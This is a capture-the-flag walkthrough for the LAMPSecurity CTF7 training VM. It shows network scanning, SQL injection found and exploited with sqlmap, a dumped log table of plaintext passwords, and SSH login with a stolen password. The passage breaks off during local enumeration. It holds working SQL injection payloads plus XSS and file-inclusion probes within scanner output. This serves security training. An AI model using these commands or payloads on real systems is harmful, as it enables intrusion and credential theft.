Source Information

Author: madirish2600
Series: LAMPSecurity
Download: download.vulnhub.com/lampsecurity/CTF7plusDocs.zip

“The LAMPSecurity project is an effort to produce training and benchmarking tools that can be used to educate information security professionals and test products. Please note there are other capture the flag exercises (not just the latest one). Check the SourceForge site to find other exercises available here.”


Getting Started

“The way to get started is to quit talking and begin doing.” –Walt Disney

To get rolling, let’s use arp-scan to ARP out across our local network and identify that the CTF7 box has leased the IP address 10.0.88.9.

calvinbebop@Dolos:~$ ifconfig | grep inet
        inet 10.0.88.5  netmask 255.255.255.0  broadcast 10.0.88.255
        inet6 fe80::a00:27ff:feaa:650e  prefixlen 64  scopeid 0x20<link>
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
calvinbebop@Dolos:~$ arp-scan -l
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
10.0.88.1	52:54:00:12:35:00	QEMU
10.0.88.2	52:54:00:12:35:00	QEMU
10.0.88.3	08:00:27:de:0a:10	CADMUS COMPUTER SYSTEMS
10.0.88.9	00:0c:29:9d:12:a9	VMware, Inc.

Initial Service Enumeration

We’ll now use Nmap to initiate a full TCP SYN scan of the CTF7 box (10.0.88.9) and search for some potential attack vectors in the system. A complete description of the tool’s flag usage can be found here. We’ll start by using the following flags:

Flag Description
-sS Utilize a TCP SYN scan
-sV Probe open ports to determine service/version info
-sC Run the default set of service scripts
-A Enable OS detection, version detection, script scanning, and traceroute
-p- Target all TCP ports from 1-65535
calvinbebop@Dolos:~$ sudo nmap -sS -sV -sC -A -p- 10.0.88.9
Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-15 16:40 CST
Nmap scan report for 10.0.88.9
Host is up (0.00065s latency).
Not shown: 65526 filtered ports
PORT      STATE  SERVICE     VERSION
22/tcp    open   ssh         OpenSSH 5.3 (protocol 2.0)
| ssh-hostkey: 
|   1024 41:8a:0d:5d:59:60:45:c4:c4:15:f3:8a:8d:c0:99:19 (DSA)
|_  2048 66:fb:a3:b4:74:72:66:f4:92:73:8f:bf:61:ec:8b:35 (RSA)
80/tcp    open   http        Apache httpd 2.2.15 ((CentOS))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.2.15 (CentOS)
|_http-title: Mad Irish Hacking Academy
137/tcp   closed netbios-ns
138/tcp   closed netbios-dgm
139/tcp   open   netbios-ssn Samba smbd 3.5.10-125.el6 (workgroup: MYGROUP)
901/tcp   open   http        Samba SWAT administration server
| http-auth: 
| HTTP/1.0 401 Authorization Required\x0D
|_  Basic realm=SWAT
|_http-title: 401 Authorization Required
5900/tcp  closed vnc
8080/tcp  open   http        Apache httpd 2.2.15 ((CentOS))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.2.15 (CentOS)
| http-title: Admin :: Mad Irish Hacking Academy
|_Requested resource was /login.php
10000/tcp open   http        MiniServ 1.610 (Webmin httpd)
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: MiniServ/1.610
|_http-title: Login to Webmin
MAC Address: 00:0C:29:9D:12:A9 (VMware)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.13
Network Distance: 1 hop

Host script results:
|_clock-skew: mean: 2h30m02s, deviation: 3h32m11s, median: 0s
| smb-os-discovery: 
|   OS: Unix (Samba 3.5.10-125.el6)
|   Computer name: localhost
|   NetBIOS computer name: 
|   Domain name: 
|   FQDN: localhost
|_  System time: 2018-12-15T17:43:32-05:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)

TRACEROUTE
HOP RTT     ADDRESS
1   0.65 ms 10.0.88.9

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 244.13 seconds

HTTP (80/TCP) Enumeration (Scanning)

There’s quite a few open services available for us to target with CTF7. For this walkthrough we’ll go ahead and kick off a nikto scan of the web server in the background while we conduct a manual investigation of CTF7’s first web application at 80/TCP.

calvinbebop@Dolos:~$ nikto -h http://10.0.88.9
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.0.88.9
+ Target Hostname:    10.0.88.9
+ Target Port:        80
+ Start Time:         2018-12-15 16:51:38 (GMT-6)
---------------------------------------------------------------------------
+ Server: Apache/2.2.15 (CentOS)
+ Cookie PHPSESSID created without the httponly flag
+ Retrieved x-powered-by header: PHP/5.3.3
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Apache/2.2.15 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ Cookie roundcube_sessid created without the httponly flag
+ Uncommon header 'x-dns-prefetch-control' found, with contents: off
+ Uncommon header 'union all select filetoclob('/etc/passwd','server')' found, with contents: :html,0 FROM sysusers WHERE username=USER --/.html HTTP/1.1 404 Not Found
+ /servlet/org.apache.catalina.ContainerServlet/<script>alert('Vulnerable')</script>: Apache-Tomcat is vulnerable to Cross Site Scripting (XSS) by invoking java classes. http://www.cert.org/advisories/CA-2000-02.html.
+ /servlet/org.apache.catalina.Context/<script>alert('Vulnerable')</script>: Apache-Tomcat is vulnerable to Cross Site Scripting (XSS) by invoking java classes. http://www.cert.org/advisories/CA-2000-02.html.
+ /servlet/org.apache.catalina.Globals/<script>alert('Vulnerable')</script>: Apache-Tomcat is vulnerable to Cross Site Scripting (XSS) by invoking java classes. http://www.cert.org/advisories/CA-2000-02.html.
+ /servlet/org.apache.catalina.servlets.WebdavStatus/<script>alert('Vulnerable')</script>: Apache-Tomcat is vulnerable to Cross Site Scripting (XSS) by invoking java classes. http://www.cert.org/advisories/CA-2000-02.html.
+ /nosuchurl/><script>alert('Vulnerable')</script>: JEUS is vulnerable to Cross Site Scripting (XSS) when requesting non-existing JSP pages. http://securitytracker.com/alerts/2003/Jun/1007004.html
+ /~/<script>alert('Vulnerable')</script>.aspx?aspxerrorpath=null: Cross site scripting (XSS) is allowed with .aspx file requests (may be Microsoft .net). http://www.cert.org/advisories/CA-2000-02.html
+ /~/<script>alert('Vulnerable')</script>.aspx: Cross site scripting (XSS) is allowed with .aspx file requests (may be Microsoft .net). http://www.cert.org/advisories/CA-2000-02.html
+ /~/<script>alert('Vulnerable')</script>.asp: Cross site scripting (XSS) is allowed with .asp file requests (may be Microsoft .net). http://www.cert.org/advisories/CA-2000-02.html
+ /mailman/listinfo/<script>alert('Vulnerable')</script>: Mailman is vulnerable to Cross Site Scripting (XSS). Upgrade to version 2.0.8 to fix. http://www.cert.org/advisories/CA-2000-02.html.
+ OSVDB-27095: /bb000001.pl<script>alert('Vulnerable')</script>: Actinic E-Commerce services is vulnerable to Cross Site Scripting (XSS). http://www.cert.org/advisories/CA-2000-02.html.
+ OSVDB-54589: /a.jsp/<script>alert('Vulnerable')</script>: JServ is vulnerable to Cross Site Scripting (XSS) when a non-existent JSP file is requested. Upgrade to the latest version of JServ. http://www.cert.org/advisories/CA-2000-02.html.
+ /<script>alert('Vulnerable')</script>.thtml: Server is vulnerable to Cross Site Scripting (XSS). http://www.cert.org/advisories/CA-2000-02.html.
+ /<script>alert('Vulnerable')</script>.shtml: Server is vulnerable to Cross Site Scripting (XSS). http://www.cert.org/advisories/CA-2000-02.html.
+ /<script>alert('Vulnerable')</script>.jsp: Server is vulnerable to Cross Site Scripting (XSS). http://www.cert.org/advisories/CA-2000-02.html.
+ /<script>alert('Vulnerable')</script>.aspx: Cross site scripting (XSS) is allowed with .aspx file requests (may be Microsoft .net). http://www.cert.org/advisories/CA-2000-02.html.
+ OSVDB-6662: /<script>alert('Vulnerable')</script>: Server is vulnerable to Cross Site Scripting (XSS). http://www.cert.org/advisories/CA-2000-02.html.
+ Server leaks inodes via ETags, header found with file /webalizer/, inode: 283452, size: 3709, mtime: Mon Dec 24 15:44:07 2012
+ OSVDB-682: /webalizer/: Webalizer may be installed. Versions lower than 2.01-09 vulnerable to Cross Site Scripting (XSS).
+ OSVDB-3268: /img/: Directory indexing found.
+ OSVDB-3092: /img/: This might be interesting...
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3483: /docs/<script>alert('Vulnerable');</script>: Nokia Electronic Documentation is vulneable to Cross Site Scripting (XSS). http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0801.
+ OSVDB-6659: /zv6E0CNhAcgWGUnDKkQAvrU16FyigbEUGSGwnEPhaYzCkwhQH0THiZUfa8MumYkwWIergQVEmbfC0qPuf0EprHLgSt8QSZe3uwrbC1t74c6ALf3zh6nQmwAqDqN1F6R5blSGew63m1SG6uHTS3faOGt9detppZ1fHihMtu80pW5vk6hcE9arX6XHyN02TE3VLrflmymKTA5atN9wom6WXoRSsLl7use<font%20size=50>
+ OSVDB-701: /pls/help/<script>alert('Vulnerable')</script>: Oracle 9iAS is vulnerable to Cross Site Scripting (XSS). http://www.cert.org/advisories/CA-2000-02.html.
+ OSVDB-3233: /icons/README: Apache default file found.
+ Uncommon header '-al&absolute_path_studip=http' found, with contents: //cirt.net/rfiinc.txt?? HTTP/1.1 404 Not Found
+ Uncommon header '-al&_phplib[libdir]=http' found, with contents: //cirt.net/rfiinc.txt?? HTTP/1.1 404 Not Found
+ 8346 requests: 0 error(s) and 41 item(s) reported on remote host
+ End Time:           2018-12-15 16:52:07 (GMT-6) (29 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

HTTP (80/TCP) Manual Investigation

Welcome to CTF7’s homepage, the Mad Irish Hacking Academy.

An initial audit of the available HTML source doesn’t turn up much so let’s move on to creating an account in the web application so we can get access to a number of the restricted pages.

Our first available page under Resources is for training registration. We can also see that the application is using an id HTTP parameter to specify requests for the training registration page.

After some manual fandangling with the id parameter and pointing sqlmap at it (with our authenticated cookie), the training registration page’s id parameter does not appear to be injectable.

calvinbebop@Dolos:~$ sqlmap -u "http://10.0.88.9/register&id=2" -p id --cookie="PHPSESSID=407rm89j7cj9js4c3i9ma6s600"
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.2.7#stable}
|_ -| . [.]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 17:49:53

[17:49:53] [WARNING] you've provided target URL without any GET parameters (e.g. 'http://www.site.com/article.php?id=1') and without providing any POST parameters through option '--data'
do you want to try URI injections in the target URL itself? [Y/n/q] Y
[17:50:11] [INFO] testing connection to the target URL
[17:50:11] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[17:50:11] [INFO] testing if the target URL content is stable
[17:50:12] [INFO] target URL content is stable
[17:50:12] [INFO] testing if URI parameter '#1*' is dynamic
[17:50:12] [WARNING] URI parameter '#1*' does not appear to be dynamic
[17:50:12] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable
[17:50:12] [INFO] testing for SQL injection on URI parameter '#1*'
[17:50:12] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[17:50:12] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace'
[17:50:12] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[17:50:12] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[17:50:12] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[17:50:12] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[17:50:12] [WARNING] reflective value(s) found and filtering out
[17:50:12] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[17:50:12] [INFO] testing 'MySQL inline queries'
[17:50:12] [INFO] testing 'PostgreSQL inline queries'
[17:50:12] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[17:50:12] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[17:50:12] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[17:50:12] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[17:50:12] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'
[17:50:12] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[17:50:12] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[17:50:12] [INFO] testing 'Oracle AND time-based blind'
[17:50:12] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[17:50:13] [WARNING] URI parameter '#1*' does not seem to be injectable
[17:50:13] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment')
[17:50:13] [WARNING] HTTP error codes detected during run:
403 (Forbidden) - 3 times

[*] shutting down at 17:50:13


Our second available page under Resources is the Reading Room which provides a few different files for download.

Once we select to download a file, we may notice that the file HTTP parameter used to specify which file to download may be subjectible to some form of LFI vulnerability. Let’s try to break it!

Unfortunately, initial testing for an LFI vulnerability doesn’t amount to much and fimap wasn’t able to locate the prescence of a vulnerability either. Let’s keep searching!

calvinbebop@Dolos:~$ fimap -u '10.0.88.9/read&file=0223_cybersecurity_china_us_lieberthal_singer_pdf_english.pdf' --cookie="PHPSESSID=407rm89j7cj9js4c3i9ma6s600"
fimap v.1.00_svn (My life for Aiur)
:: Automatic LFI/RFI scanner and exploiter
:: by Iman Karim (fimap.dev@gmail.com)

SingleScan is testing URL: '10.0.88.9/read&file=0223_cybersecurity_china_us_lieberthal_singer_pdf_english.pdf'
[00:12:26] [OUT] Inspecting URL '10.0.88.9/read&file=0223_cybersecurity_china_us_lieberthal_singer_pdf_english.pdf'...
[00:12:26] [INFO] Fiddling around with URL...
[00:12:26] [WARN] unknown url type: 10.0.88.9/read&file=0223_cybersecurity_china_us_lieberthal_singer_pdf_english.pdf
Target URL isn't affected by any file inclusion bug :(


The final available page under Resources is the site’s Newsletter section. Right away we can identify that an id HTTP parameter is being used to specify what page to serve. You know the drill, let’s test for some SQL Injection! Adding an apostrophe or semicolon directly after the parameter’s value is often times a decent first test to pick up on a SQL Injection vulnerability. The apostrophe character is used for this test as it is the character limiter in SQL. With it, you may delimit strings therein testing whether or not the strings are correctly escaped in the application.

Peerrrrrfect


SQL Injection Exploitation

After working through some additional manual SQL injection testing, we’re able to verify a SQL Injection vulnerability exists by passing in MySQL’s SLEEP function. In this instance, the function causes the webserver to pause for 10 seconds before returning the blog post.

Passing this URL into sqlmap along with our authenticated cookie header, we are able to find three injection points.

calvinbebop@Dolos:~$ sqlmap -u "http://10.0.88.9/newsletter&id=1" -p id --cookie="PHPSESSID=407rm89j7cj9js4c3i9ma6s600"
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.2.7#stable}
|_ -| . [(]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 17:50:46

[17:50:46] [WARNING] you have provided target URL without any GET parameters (e.g. 'http://www.site.com/article.php?id=1') and without providing any POST parameters through option '--data'
do you want to try URI injections in the target URL itself? [Y/n/q] Y
[17:50:48] [INFO] testing connection to the target URL
[17:50:48] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[17:50:48] [INFO] testing if the target URL content is stable
[17:50:49] [INFO] target URL content is stable
[17:50:49] [INFO] testing if URI parameter '#1*' is dynamic
[17:50:49] [INFO] confirming that URI parameter #1* is dynamic
[17:50:49] [INFO] URI parameter '#1*' is dynamic
[17:50:49] [INFO] heuristic (basic) test shows that URI parameter '#1*' might be injectable (possible DBMS: 'MySQL')
[17:50:49] [INFO] heuristic (XSS) test shows that URI parameter '#1*' might be vulnerable to cross-site scripting (XSS) attacks
[17:50:49] [INFO] testing for SQL injection on URI parameter '#1*'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[17:50:54] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[17:50:54] [WARNING] reflective value(s) found and filtering out
[17:50:54] [INFO] URI parameter '#1*' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="full")
[17:50:54] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[17:50:54] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[17:50:54] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[17:50:54] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[17:50:54] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[17:50:54] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[17:50:54] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[17:50:54] [INFO] URI parameter '#1*' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable 
[17:50:54] [INFO] testing 'MySQL inline queries'
[17:50:54] [INFO] testing 'MySQL > 5.0.11 stacked queries (comment)'
[17:50:54] [WARNING] time-based comparison requires larger statistical model, please wait............. (done)                                                                                              
[17:50:54] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[17:50:54] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP - comment)'
[17:50:54] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP)'
[17:50:54] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[17:50:54] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[17:50:54] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'
[17:51:04] [INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind' injectable 
[17:51:04] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[17:51:04] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[17:51:05] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[17:51:05] [INFO] target URL appears to have 5 columns in query
[17:51:05] [INFO] target URL appears to be UNION injectable with 5 columns
[17:51:05] [INFO] URI parameter '#1*' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 85 HTTP(s) requests:
---
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: http://10.0.88.9:80/newsletter&id=1 AND 8679=8679

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: http://10.0.88.9:80/newsletter&id=1 AND (SELECT 9273 FROM(SELECT COUNT(*),CONCAT(0x717a6b7671,(SELECT (ELT(9273=9273,1))),0x716a7a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: http://10.0.88.9:80/newsletter&id=1 AND SLEEP(5)

    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: http://10.0.88.9:80/newsletter&id=-5625 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x717a6b7671,0x69625367416e5364537873696d484b4a5147437a784c454c6f764a6c4c646e6b4c68484c75454c79,0x716a7a7671),NULL-- xngF
---
[17:51:08] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 6.8
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL >= 5.0
[17:51:08] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.0.88.9'

[*] shutting down at 17:51:08


We’ll now have sqlmap use one of the injection points it previously discovered to return all available databases.

calvinbebop@Dolos:~$ sqlmap -u "http://10.0.88.9/newsletter&id=1" -p id --cookie="PHPSESSID=407rm89j7cj9js4c3i9ma6s600" --tables
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.2.7#stable}
|_ -| . ["]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 18:59:20

[18:59:20] [WARNING] you've provided target URL without any GET parameters (e.g. 'http://www.site.com/article.php?id=1') and without providing any POST parameters through option '--data'
do you want to try URI injections in the target URL itself? [Y/n/q] Y
[18:59:23] [INFO] resuming back-end DBMS 'mysql' 
[18:59:23] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: http://10.0.88.9:80/newsletter&id=1 AND 8679=8679

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: http://10.0.88.9:80/newsletter&id=1 AND (SELECT 9273 FROM(SELECT COUNT(*),CONCAT(0x717a6b7671,(SELECT (ELT(9273=9273,1))),0x716a7a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: http://10.0.88.9:80/newsletter&id=1 AND SLEEP(5)

    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: http://10.0.88.9:80/newsletter&id=-5625 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x717a6b7671,0x69625367416e5364537873696d484b4a5147437a784c454c6f764a6c4c646e6b4c68484c75454c79,0x716a7a7671),NULL-- xngF
---
[18:59:23] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 6.8
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL >= 5.0
	...shortened for brevity
Database: website
[9 tables]
+---------------------------------------+
| contact                               |
| documents                             |
| hits                                  |
| log                                   |
| newsletter                            |
| payment                               |
| trainings                             |
| trainings_x_users                     |
| users                                 |
+---------------------------------------+

Database: information_schema
[28 tables]
+---------------------------------------+
| CHARACTER_SETS                        |
| COLLATIONS                            |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS                               |
| COLUMN_PRIVILEGES                     |
| ENGINES                               |
| EVENTS                                |
| FILES                                 |
| GLOBAL_STATUS                         |
| GLOBAL_VARIABLES                      |
| KEY_COLUMN_USAGE                      |
| PARTITIONS                            |
| PLUGINS                               |
| PROCESSLIST                           |
| PROFILING                             |
| REFERENTIAL_CONSTRAINTS               |
| ROUTINES                              |
| SCHEMATA                              |
| SCHEMA_PRIVILEGES                     |
| SESSION_STATUS                        |
| SESSION_VARIABLES                     |
| STATISTICS                            |
| TABLES                                |
| TABLE_CONSTRAINTS                     |
| TABLE_PRIVILEGES                      |
| TRIGGERS                              |
| USER_PRIVILEGES                       |
| VIEWS                                 |
+---------------------------------------+

Database: roundcube
[12 tables]
+---------------------------------------+
| session                               |
| cache                                 |
| cache_index                           |
| cache_messages                        |
| cache_thread                          |
| contactgroupmembers                   |
| contactgroups                         |
| contacts                              |
| dictionary                            |
| identities                            |
| searches                              |
| users                                 |
+---------------------------------------+

Database: mysql
[23 tables]
+---------------------------------------+
| user                                  |
| columns_priv                          |
| db                                    |
| event                                 |
| func                                  |
| general_log                           |
| help_category                         |
| help_keyword                          |
| help_relation                         |
| help_topic                            |
| host                                  |
| ndb_binlog_index                      |
| plugin                                |
| proc                                  |
| procs_priv                            |
| servers                               |
| slow_log                              |
| tables_priv                           |
| time_zone                             |
| time_zone_leap_second                 |
| time_zone_name                        |
| time_zone_transition                  |
| time_zone_transition_type             |
+---------------------------------------+

[18:59:43] [WARNING] HTTP error codes detected during run:
403 (Forbidden) - 2 times
[18:59:43] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.0.88.9'

[*] shutting down at 18:59:43


It looks like sqlmap doesn’t actually have the necessary permissions to access a good number of the tables we previously listed. Fortunately, it was able to retrieve the contents of the log table in the website database:

calvinbebop@Dolos:~$ sqlmap -u "http://10.0.88.9/newsletter&id=1" -p id --cookie="PHPSESSID=407rm89j7cj9js4c3i9ma6s600" --dbms="MySQL" -v 1 --dump
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.2.7#stable}
|_ -| . [.]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 19:21:21

[19:21:21] [WARNING] you've provided target URL without any GET parameters (e.g. 'http://www.site.com/article.php?id=1') and without providing any POST parameters through option '--data'
do you want to try URI injections in the target URL itself? [Y/n/q] Y
[19:21:23] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: http://10.0.88.9:80/newsletter&id=1 AND 8679=8679

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: http://10.0.88.9:80/newsletter&id=1 AND (SELECT 9273 FROM(SELECT COUNT(*),CONCAT(0x717a6b7671,(SELECT (ELT(9273=9273,1))),0x716a7a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: http://10.0.88.9:80/newsletter&id=1 AND SLEEP(5)

    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: http://10.0.88.9:80/newsletter&id=-5625 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x717a6b7671,0x69625367416e5364537873696d484b4a5147437a784c454c6f764a6c4c646e6b4c68484c75454c79,0x716a7a7671),NULL-- xngF
---
[19:21:23] [INFO] testing MySQL
[19:21:23] [INFO] confirming MySQL
[19:21:23] [WARNING] reflective value(s) found and filtering out
[19:21:23] [INFO] the back-end DBMS is MySQL

	...shortened for brevity

[19:22:40] [INFO] fetching entries for table 'log' in database 'website'
[19:22:40] [INFO] used SQL query returns 5 entries
[19:22:40] [INFO] retrieved: "1","User test@nowhere.com registered with id 113 and password test"
[19:22:40] [INFO] retrieved: "2","User ruby@localhost.localdomain reset their password to Shelly2012"
[19:22:40] [INFO] retrieved: "3","User ruby@localhost.localdomain logged into the admin site."
[19:22:40] [INFO] retrieved: "4","User charles@localhost.localdomain used recovery.  Their password rest to changeme"
[19:22:40] [INFO] retrieved: "5","User calvinbebop@gmail.com registered with id 114 and password password1"

Sqlmap was then able to dump the following user information

Database: website                                                                                                                                                                                          
Table: log
[5 entries]
+----+------------------------------------------------------------------------------------+
| id | message                                                                            |
+----+------------------------------------------------------------------------------------+
| 1  | User test@nowhere.com registered with id 113 and password test                     |
| 2  | User ruby@localhost.localdomain reset their password to Shelly2012                 |
| 3  | User ruby@localhost.localdomain logged into the admin site.                        |
| 4  | User charles@localhost.localdomain used recovery.  Their password rest to changeme |
| 5  | User calvinbebop@gmail.com registered with id 114 and password password1           |
+----+------------------------------------------------------------------------------------+

Low Privilege Access / Local Enumeration/Exploit Attempt #1

We are now able access the CTF7 box over SSH (22/TCP) using ruby’s user account with the password we dumped from the log file.

calvinbebop@Dolos:~$ ssh ruby@10.0.88.9
The authenticity of host '10.0.88.9 (10.0.88.9)' can't be established.
RSA key fingerprint is SHA256:GfrI8RJ0/Xy8Za7qDP9Gm+RaoxuVz1GWo15hvn8+rdI.
Are you sure you want to continue connecting (yes/no)? yes  
Warning: Permanently added '10.0.88.9' (RSA) to the list of known hosts.
ruby@10.0.88.9's password: 
Last login: Sun Dec 23 20:32:41 2012 from 192.168.1.135
[ruby@localhost ~]$

Right off the bat, we can check and see that ruby’s user account does not have access to the root account via sudo. This means we’ll have to look elsewhere and try to find a way into another user’s account since ruby’s doesn’t have the permissions we require.

[ruby@localhost ~]$ sudo su
[sudo] password for ruby: 
ruby is not in the sudoers file.  This incident will be reported.

Digging into ruby’s home folder, her bash history file clues us to the fact that the local MySQL database may be accessible via the root account without a password.

